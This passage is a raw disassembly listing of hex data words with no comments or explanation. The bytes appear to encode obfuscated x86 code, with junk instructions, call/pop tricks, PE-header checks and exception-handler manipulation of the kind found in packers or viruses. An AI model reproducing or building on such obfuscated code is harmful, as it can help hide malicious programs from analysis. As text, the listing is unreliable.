		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 3AC5D4C3h
		dd 84DBC60Fh, 0E8C18B60h, 13h, 0D1C6E24h, 50160E6Bh, 45DA41B9h
		dd 8C1B2CBEh, 0E811729Dh, 11h, 90F1CB8Bh, 0C0087352h, 6E37A974h
		dd 1143DFCDh, 55BD89D1h, 5E07D303h, 4EB5Eh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 633DC352h, 0F97FC63Bh, 858DFC9Fh,	7D31C71h
		dd 0ED63BF66h, 50F38B90h, 0CE856h, 49B60000h, 65E858B4h
		dd 874A0311h, 5E5EAA18h, 51006A90h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 89DD795Ch, 0D301198Dh
		dd 6A006A07h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0BA6DC350h, 0FCE65555h, 59B58BD3h
		dd 0E907D320h, 14h, 2C6AF582h, 0B7AC6127h, 0A2FE4AE8h
		dd 8AAFA342h, 826296A2h, 12E9006Ah, 14000000h, 0A633F7CEh
		dd 416DBFEBh, 99EE8D86h, 0ABCE8033h, 53858D3Eh,	6A07DCA9h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0B9AAC356h, 78C1D43Bh, 7E9FBh, 0F4CF0000h
		dd 982A6629h, 5C08329h,	2FBDBD8Bh, 0BE5007D3h, 3F9077FCh
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0F91FC351h, 6E8h, 0CB3E8B00h
		dd 3B09BFAh, 0D30C49B5h, 6A5F07h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 24C35343h, 31B65FB8h, 0D96AF0C3h
		dd 55E68166h, 6A006A80h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 4F64C356h, 0E06D2CD8h
		dd 0FFF98B66h, 0D32F4D95h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 4237DD80h
		dd 8B781626h, 0B09D8DF7h, 6A07DC29h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0B34FC351h
		dd 8166D3FFh, 0F83455CFh, 2CCD85FFh, 6A07D3h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0A2184C3h
		dd 0BFD9175h, 95292E85h, 7D3096Dh, 85CE9h, 0E800h, 815D0000h
		dd 0DCA95DEDh, 11B50307h, 8107D30Ah, 0D3269DBDh, 7D007h
		dd 8E860F00h, 0F000001h, 688h, 85BD2300h, 5707D31Fh, 2B91BD8Bh
		dd 8B5E07D3h, 0D316E19Dh, 9BD8B07h, 8107D319h, 100E3h
		dd 0DB0BF900h, 0F5850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0A4C8BDC3h, 0CA888443h
		dd 832C072Ch, 0DCA73EBDh, 840F0007h, 4Fh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ch, 61C35040h, 0C4B6E833h
		dd 0EEE48CF4h, 0E9F2B70Fh, 0A7h, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 4CC35747h, 5846CB9Ah, 0C7FA243Ah
		dd 0DCA73E85h, 107h, 75E900h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0A67EC4C3h
		dd 0F604C88h, 681h, 39B58900h, 2907D333h, 0D3325995h, 0E8606107h
		dd 0Dh,	47475E9Bh, 634A77A6h, 0F1D3369Eh, 1DB501E8h, 5A07D30Fh
		dd 0DE960h, 70240000h, 0CF684BD3h, 0F7DAAB4Ah, 5600149Fh
		dd 0C761615Fh, 0DCA73E85h, 7, 49BD0B00h, 8D07D32Fh, 0D316E19Dh
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 89A557D2h, 0D312698Dh, 0FF238107h, 6AFFFFFEh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 9F82C355h, 120C2CC9h, 9D8BF560h, 7D30355h
		dd 0DB8C6661h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	44C35040h, 0E871B5EBh, 6DB31E34h, 0C78166EDh, 0C3F62AD1h
		dd 2C840F04h, 0E9000000h, 12h, 27B4CE93h, 0FD0FB7F9h, 0E07DEEA9h
		dd 1FE852CFh, 95FFF08Eh, 7D3261Dh, 0AD1FBF50h, 489034Eh
		dd 6DBD8924h, 0E907D315h, 42Ah,	0B098D89h, 850907D3h, 7D315E5h
		dd 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0F2C36BC3h, 0A65B52Bh, 70E607D3h,	71E4FE8Bh
		dd 66D8B60Fh, 6BAF28Bh,	8B000000h, 50006AC3h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 485BA135h
		dd 9829FE73h, 0B52B74DEh, 7D32645h, 0F04E8C1h, 0F766FEBFh
		dd 56006AE2h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 3103B3B4h, 0D30765B5h, 6AD82B07h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0CD13C353h, 5848DA32h, 7E81Ch, 4AF50000h, 0E1638379h
		dd 57935E62h, 870Fh, 505F0000h,	800Fh, 6A930000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 77EC353h, 8E949B5Eh,	0C7D5259Fh, 9E8F960h, 0B8000000h
		dd 0BD7484DFh, 9665657h, 8A0Fh,	61590000h, 269DB5FFh, 6A07D3h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0BF06A1C3h, 0B29091DEh, 825BD89h, 95FF07D3h,	7D33019h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 92C35040h
		dd 56270B47h, 81C7AAB6h, 6A00B041h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0E0BC353h
		dd 42CE39F6h, 0E470E617h, 53006A71h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 121E85BBh
		dd 0DC3C7B79h, 613CC44Dh, 260830Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0D2BC70C3h
		dd 2DBD29B5h, 0F07D30Ah, 8Dh, 0D8B60F00h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 17h, 0CBC35747h, 0BF5A6CE7h
		dd 123A6E6Ch, 6BAh, 6AC38B00h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0AB04C351h,	3F1D6A4Ch
		dd 4E8C191h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0EDC35747h, 8954EECEh, 0D3084D85h, 0E2F76607h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0AFC35646h
		dd 885A1B72h, 8B8979F0h, 0D332A1BDh, 6AD82B07h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 8307C357h, 0BEA34391h, 85521A62h, 176D9D29h,	0BD8B07D3h
		dd 7D313C9h, 1ABE6658h,	0FD82B6Dh, 15188h, 0AD49BF00h
		dd 7B972FEh, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h
		dd 0C7E9C353h, 0E7F65D6h, 6A00C183h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 1FD9C352h
		dd 0DEB2D349h, 6F19A4EEh, 54C68166h, 0FD93B83h,	0F186h
		dd 0CD9D8900h, 8107D324h, 69D30BF6h, 0D98C6645h, 0F458509h
		dd 0C1F607D3h, 0D1840F04h, 81000000h, 0F8B44DE7h, 1D95FF60h
		dd 6A07D326h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0C91AC350h, 9D894051h,	7D319A9h
		dd 0DE9h, 0A6D3BD00h, 987BA58Bh, 3ED2A770h, 6A5B0F4Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 3B1EC350h, 5BF4D1F3h, 0F9F10DDh, 680h, 0ACEF8100h
		dd 2B07CEF8h, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0A796A1B6h, 82AF4B68h, 8343Dh, 2D860F00h
		dd 66000000h, 0E92C88BFh, 26h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 94C35545h, 204E74FFh, 0C933BF66h
		dd 0C38BC08Bh, 6E8D88Bh, 64000000h, 9868AE53h, 0F8BF0FD7h
		dd 1585C75Eh, 0B107D30Dh, 6A577795h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 206AC352h
		dd 0C08B5078h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	18C35545h, 0BE66A229h, 8953064Bh, 0D30989B5h, 0BD815E07h
		dd 7D3269Dh, 7D0h, 39850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 7F4104C3h
		dd 93FF09CAh, 25DF8166h, 0F38B66E9h, 269D85FFh,	8B6607D3h
		dd 0F9BD8BF0h, 0FF07D320h, 0D3269DB5h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 0DC54E26Bh, 6FCADD65h, 301995FFh, 6A07D3h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 66962CC3h
		dd 0CF81FB8Bh, 5D92C14Fh, 0AE890h, 5D920000h, 628DB270h
		dd 6B8C89C7h, 12E960h, 28760000h, 2D37FED9h, 72370DB0h
		dd 5CDB7EF3h, 0BF401B70h, 21EDBB66h, 6499589h, 5E6107D3h
		dd 0A820Fh, 8B600000h, 0D3064DBDh, 61F48A07h, 9E9h, 0B112C600h
		dd 0E6E27DD0h, 0B58BCE43h, 7D30DEDh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 44C35343h, 0B58B53A5h, 7D30085h
		dd 3890F5Eh, 66000000h,	6AF88Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 918307C3h, 62BEA343h
		dd 6D39BF1Ah, 6A0996h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 7FC258C3h, 6A2A85h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 385D4AC3h
		dd 0E3F6688Ch, 608160D8h, 6890FF8h, 8B000000h, 0D30B419Dh
		dd 0FB8B6607h, 0F7AFE961h, 0C4BFFFFFh, 2960718Ah, 0D32E8DB5h
		dd 60C18B07h, 31958952h, 5F07D329h, 3DA3BA66h, 4EB61h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 3A35C357h, 9D4A319Fh, 8DACDF10h
		dd 0D31C7185h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 48950F5h, 0DE816624h
		dd 6AD3ADh, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 19h,	0B4C35545h, 84D1239Ah, 4DB52B76h, 6A07D301h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 22A780A2h, 6870F82h,	89000000h, 0D303A59Dh, 7E858D07h
		dd 6A07DCB3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 6E18C351h, 0C0830488h,	91B58B05h
		dd 8B07D323h, 0D30B1DB5h, 52509007h, 0B09315BFh, 0F310F73h
		dd 86h,	50585A00h, 310F5250h, 0D75ABE53h, 5A5E1B1Bh, 6A9058h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 47A1E9C3h, 369AF910h, 0CA8160F7h, 1F2648A3h,	6A61E6B6h
		dd 92E6BF00h, 6A01AFh, 0CE8h, 0F8014E00h, 70F745EDh, 462994ACh
		dd 0F08B661Eh, 4D95FF5Fh, 6A07D32Fh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2133C351h
		dd 0B58B601Fh, 7D30229h, 61C38B66h, 29B09D8Dh, 8D8907DCh
		dd 7D32B75h, 8166D3FFh,	0FE1F8CFh, 38Ah, 0F0B70F00h, 2CCD85FFh
		dd 6A07D3h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0E950E2C3h, 7C6h,	0E8h, 0ED815D00h, 7DCB388h
		dd 269DBD81h, 7D007D3h,	860F0000h, 175h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 19h, 31C35747h, 7E96D646h
		dd 659D8B80h, 5207D30Bh, 0E3815Eh, 6A000001h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 7B23C350h, 0BFAEA0AEh, 89D678F6h, 0D3343195h, 0DE907h
		dd 5AFA0000h, 0B3CBFDD1h, 0B88D8008h, 0B833B8Eh, 8B850FDBh
		dd 66000000h, 0FDDEDBFh, 0BD83F1B7h, 7DCB1C6h, 38840F00h
		dd 0F000000h, 68Ch, 99852900h, 0E907D31Fh, 7Eh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 12C35747h, 5ADC73E6h
		dd 1A0C7A3h, 0C7FE8B5Ah, 0DCB1C685h, 107h, 419D8900h, 0E907D30Bh
		dd 42h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh
		dd 58C35646h, 737E5B7Fh, 0B5D6F54h, 0D6816625h,	85C784F9h
		dd 7DCB1C6h, 0
aLnbIeb3AnaeJ	db '`',8,'',7,'3',7,'ae',0Bh,'',7,'j',0
		dw 0E855h
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 4BC35545h, 23817037h
		dd 0FFFFFEFFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0C1C35646h, 0D51E7EECh,	7E9D822h, 0D7000000h, 92105A13h
		dd 0BE53795Ah, 499E2417h, 0DB8C665Fh, 38B0Fh, 0BF0F0000h
		dd 4C3F6F1h, 6D840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0BAC275C3h, 2D78F3B4h
		dd 89B58BBBh, 0FF07D30Ch, 0D3261D95h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 75DA91C8h, 66C57CE1h, 66C651BEh, 90D1EDBFh, 80EEBF66h
		dd 303DBE50h, 60907F03h, 0CFD9D8Bh, 0E96107D3h,	3B0h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 35C35141h, 1F3E77CAh
		dd 4D850960h, 0E907D325h, 9, 0D86677E2h, 96EB4F0Dh, 0B06179h
		dd 11E9h, 0F9F8FD00h, 10097572h, 0C5C671EBh, 84539A84h
		dd 70E60118h, 68A0Fh, 0BD8B0000h, 7D30825h, 0FE8B71E4h
		dd 6AD8B60Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 1AF0C351h, 225B9338h, 0B523FA2Eh
		dd 7D30635h, 6BAFB8Bh, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0E92BC351h
		dd 9, 35FF5BAEh, 0AD19828Bh, 8BC38B44h,	0D3242DB5h, 4E8C107h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 72C35747h
		dd 30999589h, 0F76607D3h, 56006AE2h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 2B007DCEh
		dd 8B6693D8h, 8B6650F0h, 8B5193F7h, 0D30779B5h,	0B5FF5F07h
		dd 7D3269Dh, 96DBD8Bh, 95FF07D3h, 7D33019h, 0B0F88Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0D2C35747h, 0D7D2B64Eh
		dd 0E60C7F73h, 51006A70h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0B589863Ch, 7D324FDh
		dd 8D8971E4h, 7D30889h,	830F613Ch, 224h, 0BFE78166h, 0D8B60F63h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0AEC35646h
		dd 0F2C95D75h, 9E96C54h, 88000000h, 87C210EAh, 0CDF93DC0h
		dd 6BAh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 8208554Fh, 0E4616FE8h, 2619589h
		dd 816607D3h, 8B93D1E6h, 81BD8BC3h, 6607D323h, 0E8C1F08Bh
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0C246E524h, 8A60BFADh, 59BD31D1h, 6107D312h
		dd 0CE857h, 0E6740000h,	1AF641BDh, 14C9170Eh, 830FD41Ah
		dd 0
		dd 0F7665F5Fh, 55006AE2h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 8BFB658Ah, 0D302E9B5h
		dd 11950107h, 2B07D30Ah, 5EDF81D8h, 580398A7h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 81C35242h, 0C3CFB739h
		dd 74A1A4F6h, 0E78166D8h, 0BD8B0AACh, 7D324FDh,	0EE8h
		dd 8C05F800h, 33970127h, 8EC57046h, 5EC0A7BEh, 880FD82Bh
		dd 0E4h, 0B9F1BF0Fh, 7,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 75C35040h, 0C90BC1D9h, 9589B500h, 7D3030Dh
		dd 6A00C183h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0E56EC352h, 0D72DFCC8h, 0BD8B7354h
		dd 7D33431h, 860FD93Bh,	80h, 0E9D98C66h, 14h, 0ED14D63h
		dd 0E9ADDC9Ch, 13793A17h, 0E849B274h, 0ED4827Ch, 0F04C1F6h
		dd 4E84h, 1D95FF00h, 8107D326h,	7A9F8DF7h, 0BD235B62h
		dd 7D31D81h, 0EE81C32Bh, 5E51DDC0h, 8343Dh, 28860F00h
		dd 81000000h, 0A595BC7h, 2AE914h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8B1B92C3h
		dd 6E9C0h, 6C710000h, 0CE6A5F3Ch, 0D88BC38Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0C9C35545h, 0F13752CCh
		dd 138E0F24h, 0E9000000h, 0Eh, 3567A95h, 520782E1h, 0D1AEDA10h
		dd 85C743E9h, 7D316E1h,	5AC101BDh, 8BF0B70Fh, 9DBD81C0h
		dd 0D007D326h, 0F000007h, 4785h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 9D85FF58h
		dd 6A07D326h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0BC5AC351h, 6B0741FCh,	863D27F8h
		dd 269DB5FFh, 6A07D3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 24036BC3h, 1835BD29h, 95FF07D3h
		dd 7D33019h, 55006A90h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 17890F84h, 0E9000000h, 12h, 216EA3F3h
		dd 2179184Ch, 65310065h, 12047710h, 0BD8BE7F7h,	7D3077Dh
		dd 3CB08ABFh, 0F5B58B73h, 8B07D32Bh, 0D30AA5B5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0C3191027h, 0FD4A9158h, 8C1B503h, 6A07D3h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 5E13CC3h
		dd 131E94EBh, 27718D31h, 6A07D3h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 66407BC3h, 0B589F78Bh
		dd 7D32FF9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	3FC35646h, 0EE8h, 0DAEE5C00h, 69B9E89Ch, 981E4BE9h
		dd 0BF8E93BDh, 39ADED4Fh, 759D895Fh, 0E907D306h, 0FFFFF85Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0FC35545h
		dd 66F88B66h, 8B60F38Bh, 0D3273595h, 0FFFEB907h, 8523FFFFh
		dd 7D308A1h, 15298D21h,	816607D3h, 217787DBh, 0D30B658Dh
		dd 0E59D8907h, 8B07D316h, 0D315298Dh, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 57A954C5h, 8B5908E2h, 0D3249DB5h, 1E18307h, 14850Fh
		dd 0FE90000h, 2B000000h, 379AB084h, 3BA480A9h, 594BA251h
		dd 8D8BEC1Dh, 7D30B65h,	0B5CF8166h, 1E1835Ah, 23850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0B26A7BC3h, 0B8EF922Fh, 0F8606140h, 0FFFEB9FCh
		dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 340172C3h, 6FC68141h, 212AA912h, 0D317558Dh
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 27A76B04h, 5E1D0372h, 0C98D2151h, 6A07D334h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0E346C356h, 12E9A8h, 6D9B0000h, 0DB234465h
		dd 677F5403h, 78DA42A3h, 4B4CBA2Ah, 1A699529h, 8D8B07D3h
		dd 7D31755h, 95296060h,	7D30149h, 800Fh, 8B610000h, 0D301599Dh
		dd 9D896107h, 7D3084Dh,	0F01E183h, 2985h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 993B2CDEh, 60319586h, 0F78166A0h, 8D8B1AF4h,	7D334C9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 68C35545h
		dd 0F01E183h, 0F85h, 59D38000h,	6850Fh,	0B5090000h, 7D30A81h
		dd 6A6061h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 3C1A6CC3h, 8B07244Dh, 0FFFEB9D1h,	0C780FFFFh
		dd 658D2166h, 0F07D334h, 85h, 158D2100h, 8107D30Dh, 5B640DD8h
		dd 559D8B48h, 8B07D300h, 0D334658Dh, 0CD858B07h, 8307D30Ch
		dd 850F01E1h, 26h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0E7C35545h, 0C4C3A563h, 1A8D9D89h, 8D8B07D3h
		dd 7D30D15h, 44EB8166h,	1E183C6h, 3850Fh, 0B70F0000h, 6A6061D1h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0F6C8C355h, 94FC4103h, 0ACD916F9h, 0FFFFFEB9h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 57AC8118h, 18850F8Fh, 0E9000000h, 13h, 0CA99A73Dh
		dd 0B261F503h, 5E123514h, 58909738h, 21C48CD4h,	0D32A558Dh
		dd 0B34FBB07h, 0F2817229h, 7C71EE1h, 16E18D21h,	896007D3h
		dd 0D30BF1B5h, 70F18107h, 61012745h, 2A558D8Bh,	6CB207D3h
		dd 0F01E183h, 1185h, 0CE900h, 222C0000h, 33D549C9h, 9938C01Ch
		dd 8D8B0915h, 7D316E1h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 1BC35545h, 4819370Ah,	6890Fh,	8D890000h
		dd 7D324FDh, 0F01E183h,	385h, 0DABF0F00h, 6A6061h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 2214CC3h, 8BC744F9h,	0B5898A74h, 7D31C95h, 10E9h, 6D78B300h
		dd 15D8DE14h, 31321AC2h, 0F2A4C987h, 9D85C721h,	0D007D326h
		dd 6A000007h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 4E0CC357h, 89286488h, 0D32CD18Dh
		dd 6A6107h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 87FC9AC3h, 902FEAAh, 0D3158D8Dh, 6107EB07h
		dd 0E99Dh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 4BA77FC3h, 964B61ACh, 8529CB99h
		dd 7D32A01h, 1499958Bh,	6A07D3h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 1BC914C3h, 893D104Bh
		dd 0BAC18BF5h, 0F0113000h, 0EA81h, 0C283F000h, 0B9958914h
		dd 8307D31Ah, 858D14EAh, 7DCC044h, 35FF6450h, 0
		dd 258964h, 0E8000000h,	0
		db 'X+%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 2D8589C8h, 307D30Fh,	0B70F3C40h, 95890650h, 7D325D9h
		dd 8950508Bh, 0D31D7595h, 0F80507h, 508B0000h, 89D1030Ch
		dd 0D32BD995h, 8500307h, 14F99589h, 8F6407D3h, 5, 4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 2425BD83h, 0F0007D3h, 2484h,	0D185C600h, 4707D318h
		dd 9AA7D268h, 0F1B5FFD4h, 8D07D30Dh, 0DC036A85h, 6AD0FF07h
		dd 89D0FF00h, 0D333D185h, 60D38B07h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 54C35545h, 0A53FD16Ch, 332DB58Bh
		dd 0C08B07D3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0E7C35646h, 6017DC1Eh, 0A59D8B57h, 5B07D331h, 1335B529h
		dd 836107D3h, 0D313B1BDh, 9750007h, 273DBD83h, 740007D3h
		dd 8B535019h, 438B8C0h,	85890000h, 7D31805h, 28099D8Dh
		dd 0D3FF07DBh, 0BD83585Bh, 7D3273Dh, 50177400h,	438B853h
		dd 85890000h, 7D31805h,	24F89D8Dh, 0D3FF07DBh, 6A585Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 60EDBC3h, 35DCC45Eh,	6AEC6Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 58DAA2C3h, 9F19509h
		dd 0CB8A07D3h, 6AC08Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BD8BAEC3h, 7D32B9Dh, 8E96060h
		dd 19000000h, 495425BCh, 61DD3C8Ah, 0B2E861FCh,	6A000008h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 80C2C355h, 0BF662EC5h, 8589B95Bh,	7D32DA5h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0EDC35747h
		dd 3157B186h, 0D30C499Dh, 85FE807h, 8D8B0000h, 7D326F5h
		dd 1A1D8589h, 6A07D3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0D99F92C3h, 35D583ABh, 5BD8BE9h
		dd 0E807D325h, 825h, 95BD89h, 0F6007D3h, 0F8Bh,	9E800h
		dd 0DE60000h, 0BE61499Dh, 5F503990h, 1A49858Bh,	896107D3h
		dd 0D32CB585h, 89BE6607h, 7F3E824h, 0A2BF0000h,	89603D10h
		dd 0D31C0D85h, 0E8F28B07h, 7E1h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0C2C35545h,	0D52D9A06h, 0F3BF0F3Fh
		dd 26ED8589h, 6A07D3h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0B6FD8AC3h, 3CBF3487h, 8E9h, 65361800h
		dd 9932B29Fh, 783E8EFh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0FBBCE7C3h, 89D788C7h
		dd 0D324A585h, 12E95607h, 89000000h, 6A3C29BAh,	56B53E6Dh
